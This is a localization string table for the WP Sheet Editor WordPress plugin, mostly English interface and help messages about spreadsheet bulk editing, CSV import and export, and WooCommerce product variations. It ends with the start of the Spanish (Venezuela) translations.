the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_VE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
